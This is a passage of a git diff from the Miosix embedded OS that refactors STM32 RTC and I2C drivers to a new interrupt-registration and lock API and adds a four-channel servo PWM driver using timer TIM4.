supported. if(IRQgetTick()>=tick-2) return true; waiting=Thread::IRQgetCurrentThread(); - do { - Thread::IRQwait(); - { - FastInterruptEnableLock eLock(dLock); - Thread::yield(); - } - } while(waiting); + do Thread::IRQglobalIrqUnlockAndWait(dLock); while(waiting); return false; } } //anon namespace -/** - * RTC interrupt - */ -void __attribute__((naked)) RTC_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z10RTCIrqImplv"); - restoreContext(); -} - /** * RTC interrupt actual implementation */ -void __attribute__((used)) RTCIrqImpl() +void RTCIrqImpl() { unsigned int crl=RTC->CRL; if(crl & RTC_CRL_OWF) @@ -147,9 +132,6 @@ void __attribute__((used)) RTCIrqImpl() if(waiting && IRQgetTick()>=irqTime) { waiting->IRQwakeup(); - if(waiting->IRQgetPriority()> - Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); waiting=nullptr; } } @@ -159,16 +141,13 @@ namespace miosix { void absoluteDeepSleep(long long int value) { - #ifdef RUN_WITH_HSI - const int wakeupAdvance=3; //waking up takes time - #else //RUN_WITH_HSI - const int wakeupAdvance=33; //HSE starup time is 2ms - #endif //RUN_WITH_HSI + //waking up takes time, HSE starup time is 2ms, HSI is faster; + const int wakeupAdvance=oscillatorType==OscillatorType::HSI ? 3 : 33; Rtc& rtc=Rtc::instance(); ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; //Set alarm and enable EXTI long long wkupTick=rtc.tc.ns2tick(value)-wakeupAdvance; @@ -198,25 +177,25 @@ void absoluteDeepSleep(long long int value) SCB->SCR &= ~SCB_SCR_SLEEPDEEP_Msk; PWR->CR &= ~PWR_CR_LPDS; - #ifndef SYSCLK_FREQ_24MHz - #error TODO: support more PLL frequencies - #endif + static_assert(cpuFrequency==24000000,"TODO: support more PLL frequencies"); + static_assert(oscillatorType==OscillatorType::HSE || oscillatorType==OscillatorType::HSI, + "Unsupported oscillator type"); //STOP mode resets the clock to the HSI 8MHz, so restore the 24MHz clock - #ifndef RUN_WITH_HSI - RCC->CR |= RCC_CR_HSEON; - while((RCC->CR & RCC_CR_HSERDY)==0) ; - //PLL = (HSE / 2) * 6 = 24 MHz - RCC->CFGR &= ~(RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMULL); - RCC->CFGR |= RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMULL6; - #else //RUN_WITH_HSI - //PLL = (HSI / 2) * 6 = 24 MHz - RCC->CFGR &= ~(RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMULL); - RCC->CFGR |= RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMULL6; - #endif //RUN_WITH_HSI + if(oscillatorType==OscillatorType::HSE) + { + RCC->CR |= RCC_CR_HSEON; + while((RCC->CR & RCC_CR_HSERDY)==0) ; + //PLL = (HSE / 2) * 6 = 24 MHz + RCC->CFGR &= ~(RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMULL); + RCC->CFGR |= RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMULL6; + } else { + //PLL = (HSI / 2) * 6 = 24 MHz + RCC->CFGR &= ~(RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMULL); + RCC->CFGR |= RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMULL6; + } RCC->CR |= RCC_CR_PLLON; while((RCC->CR & RCC_CR_PLLRDY)==0) ; - RCC->CFGR &= ~RCC_CFGR_SW; - RCC->CFGR |= RCC_CFGR_SW_PLL; + RCC->CFGR = (RCC->CFGR & ~RCC_CFGR_SW) | RCC_CFGR_SW_PLL; while((RCC->CFGR & RCC_CFGR_SWS)!=0x08) ; //Wait RSF @@ -264,7 +243,7 @@ long long Rtc::getValue() const //Function takes ~170 clock cycles ~60 cycles IRQgetTick, ~96 cycles tick2ns long long tick; { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; tick=IRQgetTick(); } //tick2ns is reentrant, so can be called with interrupt enabled @@ -279,26 +258,26 @@ long long Rtc::IRQgetValue() const // May not work due to the way hwAlarm is computed in sleep functions // void Rtc::setValue(long long value) // { -// FastInterruptDisableLock dLock; +// FastGlobalIrqLock dLock; // swTime=tc.ns2tick(value)-IRQgetHwTick(); // } void Rtc::wait(long long value) { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; IRQabsoluteWaitTick(IRQgetTick()+tc.ns2tick(value),dLock); } bool Rtc::absoluteWait(long long value) { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; return IRQabsoluteWaitTick(tc.ns2tick(value),dLock); } Rtc::Rtc() : tc(getTickFrequency()) { { - FastInterruptDisableLock dLock; + GlobalIrqLock dLock; RCC->APB1ENR |= RCC_APB1ENR_PWREN | RCC_APB1ENR_BKPEN; PWR->CR |= PWR_CR_DBP; RCC->BDCR=RCC_BDCR_RTCEN //RTC enabled @@ -308,6 +287,7 @@ Rtc::Rtc() : tc(getTickFrequency()) #ifdef RTC_CLKOUT_ENABLE BKP->RTCCR=BKP_RTCCR_CCO; //Output RTC clock/64 on pin #endif + IRQregisterIrq(dLock,RTC_IRQn,RTCIrqImpl); } while((RCC->BDCR & RCC_BDCR_LSERDY)==0) ; //Wait for LSE to start @@ -317,8 +297,6 @@ Rtc::Rtc() : tc(getTickFrequency()) RTC->PRLH=0; RTC->PRLL=1; } - NVIC_SetPriority(RTC_IRQn,5); - NVIC_EnableIRQ(RTC_IRQn); } } //namespace miosix diff --git a/miosix/arch/common/drivers/stm32_rtc.h b/miosix/arch/drivers/stm32_rtc.h similarity index 99% rename from miosix/arch/common/drivers/stm32_rtc.h rename to miosix/arch/drivers/stm32_rtc.h index a3b09544c..7b6547ce7 100644 --- a/miosix/arch/common/drivers/stm32_rtc.h +++ b/miosix/arch/drivers/stm32_rtc.h @@ -29,7 +29,7 @@ #define RTC_H #include -#include "config/miosix_settings.h" +#include "miosix_settings.h" #ifndef WITH_RTC_AS_OS_TIMER diff --git a/miosix/arch/drivers/stm32_servo.cpp b/miosix/arch/drivers/stm32_servo.cpp new file mode 100644 index 000000000..55584143a --- /dev/null +++ b/miosix/arch/drivers/stm32_servo.cpp @@ -0,0 +1,331 @@ + /*************************************************************************** + * Copyright (C) 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "stm32_servo.h" +#include "interfaces/interrupts.h" +#include +#include +#include + +using namespace std; +using namespace miosix; + +typedef Gpio servo1out; +typedef Gpio servo2out; +typedef Gpio servo3out; +typedef Gpio servo4out; + +namespace miosix { + +/* TODO: find a better place for this */ +unsigned int divideRoundToNearest(unsigned int a, unsigned int b) +{ + const unsigned int quot=2*a/b; + return quot/2 + (quot & 1); +} + +// +// class SynchronizedServo +// + +SynchronizedServo& SynchronizedServo::instance() +{ + static SynchronizedServo singleton; + return singleton; +} + +void SynchronizedServo::enable(int channel) +{ + Lock l(mutex); + if(status!=STOPPED) return; // If timer enabled ignore the call + + { + FastGlobalIrqLock dLock; + // Calling the mode() function on a GPIO is subject to race conditions + // between threads on the STM32, so we disable interrupts + switch(channel) + { + case 0: + TIM4->CCMR1 |= TIM_CCMR1_OC1M_2 | TIM_CCMR1_OC1M_1 | TIM_CCMR1_OC1PE; + TIM4->CCER |= TIM_CCER_CC1E; + #ifndef _CHIP_STM32F1 //Only stm32f2 and stm32f4 have it + servo1out::alternateFunction(2); + #endif //_CHIP_STM32F1 + servo1out::mode(Mode::ALTERNATE); + break; + case 1: + TIM4->CCMR1 |= TIM_CCMR1_OC2M_2 | TIM_CCMR1_OC2M_1 | TIM_CCMR1_OC2PE; + TIM4->CCER |= TIM_CCER_CC2E; + #ifndef _CHIP_STM32F1 //Only stm32f2 and stm32f4 have it + servo2out::alternateFunction(2); + #endif //_CHIP_STM32F1 + servo2out::mode(Mode::ALTERNATE); + break; + case 2: + TIM4->CCMR2 |= TIM_CCMR2_OC3M_2 | TIM_CCMR2_OC3M_1 | TIM_CCMR2_OC3PE; + TIM4->CCER |= TIM_CCER_CC3E; + #ifndef _CHIP_STM32F1 //Only stm32f2 and stm32f4 have it + servo3out::alternateFunction(2); + #endif //_CHIP_STM32F1 + servo3out::mode(Mode::ALTERNATE); + break; + case 3: + TIM4->CCMR2 |= TIM_CCMR2_OC4M_2 | TIM_CCMR2_OC4M_1 | TIM_CCMR2_OC4PE; + TIM4->CCER |= TIM_CCER_CC4E; + #ifndef _CHIP_STM32F1 //Only stm32f2 and stm32f4 have it + servo4out::alternateFunction(2); + #endif //_CHIP_STM32F1 + servo4out::mode(Mode::ALTERNATE); + break; + } + } +} + +void SynchronizedServo::disable(int channel) +{ + Lock l(mutex); + if(status!=STOPPED) return; // If timer enabled ignore the call + + { + FastGlobalIrqLock dLock; + // Calling the mode() function on a GPIO is subject to race conditions + // between threads on the STM32, so we disable interrupts + switch(channel) + { + case 0: + servo1out::mode(Mode::INPUT); + TIM4->CCER &= ~TIM_CCER_CC1E; + break; + case 1: + servo2out::mode(Mode::INPUT); + TIM4->CCER &= ~TIM_CCER_CC2E; + break; + case 2: + servo3out::mode(Mode::INPUT); + TIM4->CCER &= ~TIM_CCER_CC3E; + break; + case 3: + servo4out::mode(Mode::INPUT); + TIM4->CCER &= ~TIM_CCER_CC4E; + break; + } + } +} + +void SynchronizedServo::setPosition(int channel, float value) +{ + Lock l(mutex); + if(status!=STARTED) return; // If timer disabled ignore the call + + value=min(1.0f,max(0.0f,value)); + switch(channel) + { + case 0: + TIM4->CCR1=a*value+b; + break; + case 1: + TIM4->CCR2=a*value+b; + break; + case 2: + TIM4->CCR3=a*value+b; + break; + case 3: + TIM4->CCR4=a*value+b; + break; + } +} + +float SynchronizedServo::getPosition(int channel) +{ + switch(channel) + { + case 0: + return TIM4->CCR1==0 ? NAN : TIM4->CCR1/a-b; + case 1: + return TIM4->CCR2==0 ? NAN : TIM4->CCR2/a-b; + case 2: + return TIM4->CCR3==0 ? NAN : TIM4->CCR3/a-b; + case 3: + return TIM4->CCR4==0 ? NAN : TIM4->CCR4/a-b; + default: + return NAN; + } +} + +void SynchronizedServo::start() +{ + Lock l(mutex); + if(status!=STOPPED) return; // If timer enabled ignore the call + + // While status is starting neither memeber function callable with timer + // started nor stopped are allowed + status=STARTED; + TIM4->CNT=0; + TIM4->EGR=TIM_EGR_UG; + TIM4->CR1=TIM_CR1_CEN; +} + +void SynchronizedServo::stop() +{ + Lock l(mutex); + if(status!=STARTED) return; // If timer disabled ignore the call + + status=STOPPED; + // Stopping the timer is a bit difficult because we don't want to + // accidentally create glitches on the outputs which may turn the servos + // to random positions. So, we set all PWM outputs to 0, then wait until the + // end of the period, and then disable the timer + TIM4->CCR1=0; + TIM4->CCR2=0; + TIM4->CCR3=0; + TIM4->CCR4=0; + { + FastGlobalIrqLock dLock; + // Wakeup an eventual thread waiting on waitForCycleBegin() + if(waiting) waiting->IRQwakeup(); + IRQwaitForTimerOverflow(dLock); + } + TIM4->CR1=0; +} + +bool SynchronizedServo::waitForCycleBegin() +{ + // No need to lock the mutex because disabling interrupts is enough to avoid + // race conditions. Also, locking the mutex here would prevent other threads + // from calling other member functions of this class + FastGlobalIrqLock dLock; + if(status!=STARTED) return true; + IRQwaitForTimerOverflow(dLock); + return status!=STARTED; +} + +void SynchronizedServo::setFrequency(unsigned int frequency) +{ + Lock l(mutex); + if(status!=STOPPED) return; // If timer enabled ignore the call + + TIM4->PSC=divideRoundToNearest(getPrescalerInputFrequency(),frequency*65536)-1; + precomputeCoefficients(); +} + +float SynchronizedServo::getFrequency() const +{ + float prescalerFreq=getPrescalerInputFrequency(); + return prescalerFreq/((TIM4->PSC+1)*65536); +} + +void SynchronizedServo::setMinPulseWidth(float minPulse) +{ + Lock l(mutex); + if(status!=STOPPED) return; // If timer enabled ignore the call + + minWidth=1e-6f*min(1300.0f,max(500.0f,minPulse)); + precomputeCoefficients(); +} + +void SynchronizedServo::setMaxPulseWidth(float maxPulse) +{ + Lock l(mutex); + if(status!=STOPPED) return; // If timer enabled ignore the call + + maxWidth=1e-6f*min(2500.0f,max(1700.0f,maxPulse)); + precomputeCoefficients(); +} + +SynchronizedServo::SynchronizedServo() : status(STOPPED) +{ + { + GlobalIrqLock dLock; + // The RCC register should be written with interrupts disabled to + // prevent race conditions with other threads. + RCC->APB1ENR |= RCC_APB1ENR_TIM4EN; + RCC_SYNC(); + + // Configure timer + TIM4->CR1=0; + TIM4->ARR=0xffff; + TIM4->CCR1=0; + TIM4->CCR2=0; + TIM4->CCR3=0; + TIM4->CCR4=0; + // Configure interrupt on timer overflow + TIM4->DIER=TIM_DIER_UIE; + IRQregisterIrq(dLock,TIM4_IRQn,&SynchronizedServo::interruptHandler,this); + } + // Set default parameters + setFrequency(50); + setMinPulseWidth(1000); + setMaxPulseWidth(2000); +} + +void SynchronizedServo::precomputeCoefficients() +{ + float realPeriod=1.0f/getFrequency(); + a=65536.0f*(maxWidth-minWidth)/realPeriod; + b=65536.0f*minWidth/realPeriod; +} + +unsigned int SynchronizedServo::getPrescalerInputFrequency() +{ + // The global variable SystemCoreClock from ARM's CMSIS allows to know + // the CPU frequency. + unsigned int freq=SystemCoreClock; + + //The position of the PPRE1 bit in RCC->CFGR is different in some stm32 + #ifdef _CHIP_STM32F1 + const unsigned int ppre1=8; + #else //stm32f2 and f4 + const unsigned int ppre1=10; + #endif + + // The timer frequency may however be a submultiple of the CPU frequency, + // due to the bus at whch the periheral is connected being slower. The + // RCC->CFGR register tells us how slower the APB1 bus is running. + // This formula takes into account that if the APB1 clock is divided by a + // factor of two or greater, the timer is clocked at twice the bus + // interface. After this, the freq variable contains the frequency in Hz + // at which the timer prescaler is clocked. + if(RCC->CFGR & RCC_CFGR_PPRE1_2) freq/=1<<((RCC->CFGR>>ppre1) & 0x3); + + return freq; +} + +void SynchronizedServo::IRQwaitForTimerOverflow(FastGlobalIrqLock& dLock) +{ + waiting=Thread::IRQgetCurrentThread(); + do Thread::IRQglobalIrqUnlockAndWait(dLock); while(waiting); +} + +void SynchronizedServo::interruptHandler() +{ + TIM4->SR=0; //Clear interrupt flag + if(waiting==nullptr) return; + waiting->IRQwakeup(); + waiting=nullptr; +} + +} //namespace miosix diff --git a/miosix/arch/drivers/stm32_servo.h b/miosix/arch/drivers/stm32_servo.h new file mode 100644 index 000000000..f273fe816 --- /dev/null +++ b/miosix/arch/drivers/stm32_servo.h @@ -0,0 +1,199 @@ +/*************************************************************************** + * Copyright (C) 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "miosix.h" + +namespace miosix { + +/** + * This class is designed to drive up to 4 servomotors. It generates + * four square waves that are synchronized with respect to each other, + * and allows the execution of code that is too synchronized with the + * waveform generation, to ease the development of closed loop control + * code using the servos as actuators. + * This class can be safely accessed by multiple threads, except the + * waitForCycleBegin() member function. + */ +class SynchronizedServo +{ +public: + /** + * \return an instance of the SynchronizedServo class (singleton) + * When first returned, the servo waveform generation is stopped. You must + * enable at least one channel call start() and setPosition() before the + * servo driving waveforms will be generated. + */ + static SynchronizedServo& instance(); + + /** + * Enable a channel. Can only be called with the outputs stopped. Even if + * the channel is enabled, when it is started it will not produce any + * waveform until the first call to setPosition() + * \param channel which channel to enable, must be between 0 and 3. + */ + void enable(int channel); + + /** + * Disable a channel. Can only be called with the outputs stopped. + * \param channel which channel to disable, must be between 0 and 3. + */ + void disable(int channel); + + /** + * Set the servo position. Can only be called with the outputs started. + * The written value takes effect at the next waveform generation cycle. + * \param channel channel whose output need to be changed, between 0 and 3 + * \param value a float value from 0.0 to 1.0. Due to the limited timer + * resolution, the actual set value is approximated. With the default values + * of waveform frequency, min and max width the range between 0.0 and 1.0 + * is covered by around 3200 points. + */ + void setPosition(int channel, float value); + + /** + * \param channel channel whose output need to be read, between 0 and 3 + * \return the exact servo position, considering the approximations. + * For this reason, the returned value may differ from the last call to + * setPosition(). NAN is returned if no setValue() was called on the channel + * since the last call to start() + */ + float getPosition(int channel); + + /** + * Start producing the output waveforms. + */ + void start(); + + /** + * Stop producing the output waveforms. If a thread is waiting in + * waitForCycleBegin() it will be forecefully woken up. + * As a side effect, the position of all the channels will be set to NAN. + * When you restart the timer, you must call setPosition() on each enabled + * channel before the channel will actually produce a waveform. + * This function waits until the end of a waveform generation cycle in order + * to not produce glitches. For this reason, it may take up to + * 1/getFrequency() to complete, which with the default value of 50Hz is 20ms + */ + void stop(); + + /** + * Wait until the begin of a waveform generation cycle + * \return false if a new cycle of waveform generation has begun, or true + * if another thread called stop(). Only one thread at a time can call this + * member function. If more than one thread calls this deadlock will occur + * so don't do it! + */ + bool waitForCycleBegin(); + + /** + * Set the frequency of the generated waveform. Can only be called + * with the outputs stopped. The default is 50Hz. Note that due to prescaler + * resolution, the actual frequency is set to the closest possible value. + * To know the actual frequency, call getFrequency() + * \param frequency desired servo update frequency in Hz + * Must be between 10 and 100Hz + */ + void setFrequency(unsigned int frequency); + + /** + * \return the actual servo update frequency in Hz. Note that the + * returned value is floating point as the returned frequency takes into + * account approximations due to the prescaler resolution + */ + float getFrequency() const; + + /** + * Set the minimum width of the generated pulses, that is, the pulse width + * generated when an output is set to zero with setPosition(x,0). + * The default is 1000us. Can only be called with the outputs stopped. + * \param minPulse minimum pulse width in microseconds. + * Must be between 500 and 1300. + */ + void setMinPulseWidth(float minPulse); + + /** + * \return minimum pulse width in microseconds + */ + float getMinPulseWidth() const { return minWidth*1e6f; } + + /** + * Set the maximum width of the generated pulses, that is, the pulse width + * generated when an output is set to one with setPosition(x,1). + * The default is 2000us. Can only be called with the outputs stopped. + * \param maxPulse maximum pulse width in microseconds. + * Must be between 1700 and 2500. + */ + void setMaxPulseWidth(float maxPulse); + + /** + * \return maximum pulse width in microseconds + */ + float getMaxPulseWidth() const { return maxWidth*1e6f; } + +private: + SynchronizedServo(const SynchronizedServo&); + SynchronizedServo& operator= (const SynchronizedServo&); + + /** + * Constructor + */ + SynchronizedServo(); + + /** + * Precompute a and b coefficient to make setPosition() faster + */ + void precomputeCoefficients(); + + /** + * \return the input frequency of the timer prescaler + */ + static unsigned int getPrescalerInputFrequency(); + + /** + * Wait until the timer overflows from 0xffff to 0. Can only be called with + * interrupts disabled + */ + void IRQwaitForTimerOverflow(FastGlobalIrqLock& dLock); + + /** + * Timer interrupt handler + */ + void interruptHandler(); + + float minWidth, maxWidth; ///< Minimum and maximum pulse widths + float a, b; ///< Precomputed coefficients + KernelMutex mutex; ///< Mutex to protect from concurrent access + enum { + STOPPED, ///< Timer is stopped + STARTED ///< Timer is started + } status; + Thread *waiting=nullptr; +}; + +} //namespace miosix diff --git a/miosix/arch/common/drivers/stm32_sgm.cpp b/miosix/arch/drivers/stm32_sgm.cpp similarity index 100% rename from miosix/arch/common/drivers/stm32_sgm.cpp rename to miosix/arch/drivers/stm32_sgm.cpp diff --git a/miosix/arch/common/drivers/stm32_sgm.h b/miosix/arch/drivers/stm32_sgm.h similarity index 100% rename from miosix/arch/common/drivers/stm32_sgm.h rename to miosix/arch/drivers/stm32_sgm.h diff --git a/miosix/arch/common/drivers/stm32_wd.cpp b/miosix/arch/drivers/stm32_wd.cpp similarity index 100% rename from miosix/arch/common/drivers/stm32_wd.cpp rename to miosix/arch/drivers/stm32_wd.cpp diff --git a/miosix/arch/common/drivers/stm32_wd.h b/miosix/arch/drivers/stm32_wd.h similarity index 100% rename from miosix/arch/common/drivers/stm32_wd.h rename to miosix/arch/drivers/stm32_wd.h diff --git a/miosix/arch/common/drivers/stm32f2_f4_i2c.cpp b/miosix/arch/drivers/stm32f2_f4_i2c.cpp similarity index 78% rename from miosix/arch/common/drivers/stm32f2_f4_i2c.cpp rename to miosix/arch/drivers/stm32f2_f4_i2c.cpp index 8288ff0b5..814b53950 100644 --- a/miosix/arch/common/drivers/stm32f2_f4_i2c.cpp +++ b/miosix/arch/drivers/stm32f2_f4_i2c.cpp @@ -26,115 +26,10 @@ ***************************************************************************/ #include "stm32f2_f4_i2c.h" -#include -#include +#include using namespace miosix; -static volatile bool error; ///< Set to true by IRQ on error -static Thread *waiting=nullptr; ///< Thread waiting for an operation to complete - -/** - * DMA I2C rx end of transfer - */ -void __attribute__((naked)) DMA1_Stream0_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z20I2C1rxDmaHandlerImplv"); - restoreContext(); -} - -/** - * DMA I2C rx end of transfer actual implementation - */ -void __attribute__((used)) I2C1rxDmaHandlerImpl() -{ - DMA1->LIFCR=DMA_LIFCR_CTCIF0 - | DMA_LIFCR_CTEIF0 - | DMA_LIFCR_CDMEIF0 - | DMA_LIFCR_CFEIF0; - if(waiting==nullptr) return; - waiting->IRQwakeup(); - if(waiting->IRQgetPriority()>Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); - waiting=nullptr; -} - -/** - * DMA I2C tx end of transfer - */ -void DMA1_Stream7_IRQHandler() -{ - DMA1->HIFCR=DMA_HIFCR_CTCIF7 - | DMA_HIFCR_CTEIF7 - | DMA_HIFCR_CDMEIF7 - | DMA_HIFCR_CFEIF7; - //We can't just wake the thread because the I2C is double buffered, and this - //interrupt is fired at the same time as the second last byte is starting - //to be sent out of the bus. If we return now, the main code would send a - //stop condiotion too soon, and the last byte would never be sent. Instead, - //we change from DMA mode to IRQ mode, so when the second last byte is sent, - //that interrupt is fired and the last byte is sent out. - //Note that since no thread is awakened from this IRQ, there's no need for - //the saveContext(), restoreContext() and __attribute__((naked)) - I2C1->CR2 &= ~I2C_CR2_DMAEN; - I2C1->CR2 |= I2C_CR2_ITBUFEN | I2C_CR2_ITEVTEN; -} - -/** - * I2C address sent interrupt - */ -void __attribute__((naked)) I2C1_EV_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z15I2C1HandlerImplv"); - restoreContext(); -} - -/** - * I2C address sent interrupt actual implementation - */ -void __attribute__((used)) I2C1HandlerImpl() -{ - //When called to resolve the last byte not sent issue, clearing - //I2C_CR2_ITBUFEN prevents this interrupt being re-entered forever, as - //it does not send another byte to the I2C, so the interrupt would remain - //pending. When called after the start bit has been sent, clearing - //I2C_CR2_ITEVTEN prevents the same infinite re-enter as this interrupt - //does not start an address transmission, which is necessary to stop - //this interrupt from being pending - I2C1->CR2 &= ~(I2C_CR2_ITBUFEN | I2C_CR2_ITEVTEN); - if(waiting==nullptr) return; - waiting->IRQwakeup(); - if(waiting->IRQgetPriority()>Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); - waiting=nullptr; -} - -/** - * I2C error interrupt - */ -void __attribute__((naked)) I2C1_ER_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z18I2C1errHandlerImplv"); - restoreContext(); -} - -/** - * I2C error interrupt actual implementation - */ -void __attribute__((used)) I2C1errHandlerImpl() -{ - I2C1->SR1=0; //Clear error flags - error=true; - if(waiting==nullptr) return; - waiting->IRQwakeup(); - if(waiting->IRQgetPriority()>Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); - waiting=nullptr; -} - namespace miosix { // @@ -143,9 +38,6 @@ namespace miosix { I2C1Master::I2C1Master(GpioPin sda, GpioPin scl, int frequency) { - if(checkMultipleInstances) errorHandler(UNEXPECTED); - checkMultipleInstances=true; - //I2C devices are connected to APB1, whose frequency is the system clock //divided by a value set in the PPRE1 bits of RCC->CFGR const int ppre1=(RCC->CFGR & RCC_CFGR_PPRE1)>>10; @@ -154,7 +46,7 @@ I2C1Master::I2C1Master(GpioPin sda, GpioPin scl, int frequency) //iprintf("fpclk1=%d\n",fpclk1); { - FastInterruptDisableLock dLock; + GlobalIrqLock dLock; // NOTE: GPIOs need to be configured before enabling the peripheral or // the first read/write call blocks forever. Smells like a hw bug // NOTE: ALTERNATE_OD as the I2C peripheral doesn't enforce open drain @@ -165,23 +57,12 @@ I2C1Master::I2C1Master(GpioPin sda, GpioPin scl, int frequency) RCC->AHB1ENR |= RCC_AHB1ENR_DMA1EN; RCC->APB1ENR |= RCC_APB1ENR_I2C1EN; //Enable clock gating RCC_SYNC(); - } - - NVIC_SetPriority(DMA1_Stream7_IRQn,10);//Low priority for DMA - NVIC_ClearPendingIRQ(DMA1_Stream7_IRQn);//DMA1 stream 7 channel 1 = I2C1 TX - NVIC_EnableIRQ(DMA1_Stream7_IRQn); - - NVIC_SetPriority(DMA1_Stream0_IRQn,10);//Low priority for DMA - NVIC_ClearPendingIRQ(DMA1_Stream0_IRQn);//DMA1 stream 0 channel 1 = I2C1 RX - NVIC_EnableIRQ(DMA1_Stream0_IRQn); - NVIC_SetPriority(I2C1_EV_IRQn,10);//Low priority for I2C - NVIC_ClearPendingIRQ(I2C1_EV_IRQn); - NVIC_EnableIRQ(I2C1_EV_IRQn); - - NVIC_SetPriority(I2C1_ER_IRQn,10); - NVIC_ClearPendingIRQ(I2C1_ER_IRQn); - NVIC_EnableIRQ(I2C1_ER_IRQn); + IRQregisterIrq(dLock,DMA1_Stream7_IRQn,&I2C1Master::I2C1txDmaHandlerImpl,this); + IRQregisterIrq(dLock,DMA1_Stream0_IRQn,&I2C1Master::I2C1rxDmaHandlerImpl,this); + IRQregisterIrq(dLock,I2C1_EV_IRQn,&I2C1Master::I2C1HandlerImpl,this); + IRQregisterIrq(dLock,I2C1_ER_IRQn,&I2C1Master::I2C1errHandlerImpl,this); + } I2C1->CR1=I2C_CR1_SWRST; I2C1->CR1=0; @@ -222,7 +103,7 @@ bool I2C1Master::recv(unsigned char address, void *data, int len) address |= 0x01; if(startWorkaround(address,len)==false || I2C1->SR2 & I2C_SR2_TRA) { - fastEnableInterrupts(); //HACK Workaround critical section end + FastGlobalIrqLock::unlock(); //HACK Workaround critical section end stop(); return false; } @@ -245,18 +126,11 @@ bool I2C1Master::recv(unsigned char address, void *data, int len) | DMA_SxCR_DMEIE //Interrupt on direct mode error | DMA_SxCR_EN; //Start DMA - fastEnableInterrupts(); //HACK Workaround critical section end + FastGlobalIrqLock::unlock(); //HACK Workaround critical section end { - FastInterruptDisableLock dLock; - while(waiting) - { - waiting->IRQwait(); - { - FastInterruptEnableLock eLock(dLock); - Thread::yield(); - } - } + FastGlobalIrqLock dLock; + while(waiting) Thread::IRQglobalIrqUnlockAndWait(dLock); } DMA1_Stream7->CR=0; @@ -299,15 +173,8 @@ bool I2C1Master::send(unsigned char address, const void *data, int len, bool sen I2C1->CR2 |= I2C_CR2_DMAEN | I2C_CR2_ITERREN; { - FastInterruptDisableLock dLock; - while(waiting) - { - waiting->IRQwait(); - { - FastInterruptEnableLock eLock(dLock); - Thread::yield(); - } - } + FastGlobalIrqLock dLock; + while(waiting) Thread::IRQglobalIrqUnlockAndWait(dLock); } DMA1_Stream7->CR=0; @@ -321,20 +188,17 @@ bool I2C1Master::send(unsigned char address, const void *data, int len, bool sen I2C1Master::~I2C1Master() { + GlobalIrqLock dLock; I2C1->CR1=I2C_CR1_SWRST; I2C1->CR1=0; - NVIC_DisableIRQ(DMA1_Stream7_IRQn); - NVIC_DisableIRQ(DMA1_Stream0_IRQn); - NVIC_DisableIRQ(I2C1_EV_IRQn); - NVIC_DisableIRQ(I2C1_ER_IRQn); + IRQunregisterIrq(dLock,DMA1_Stream7_IRQn,&I2C1Master::I2C1txDmaHandlerImpl,this); + IRQunregisterIrq(dLock,DMA1_Stream0_IRQn,&I2C1Master::I2C1rxDmaHandlerImpl,this); + IRQunregisterIrq(dLock,I2C1_EV_IRQn,&I2C1Master::I2C1HandlerImpl,this); + IRQunregisterIrq(dLock,I2C1_ER_IRQn,&I2C1Master::I2C1errHandlerImpl,this); - { - FastInterruptDisableLock dLock; - RCC->APB1ENR &= ~RCC_APB1ENR_I2C1EN; - RCC_SYNC(); - } - checkMultipleInstances=false; + RCC->APB1ENR &= ~RCC_APB1ENR_I2C1EN; + RCC_SYNC(); } bool I2C1Master::start(unsigned char address) @@ -388,7 +252,7 @@ bool I2C1Master::startWorkaround(unsigned char address, int len) if(!waitStatus1()) return false; //If the transfer is single byte, then ACK must be reset before EV6 cleared if(len==1) I2C1->CR1 &= 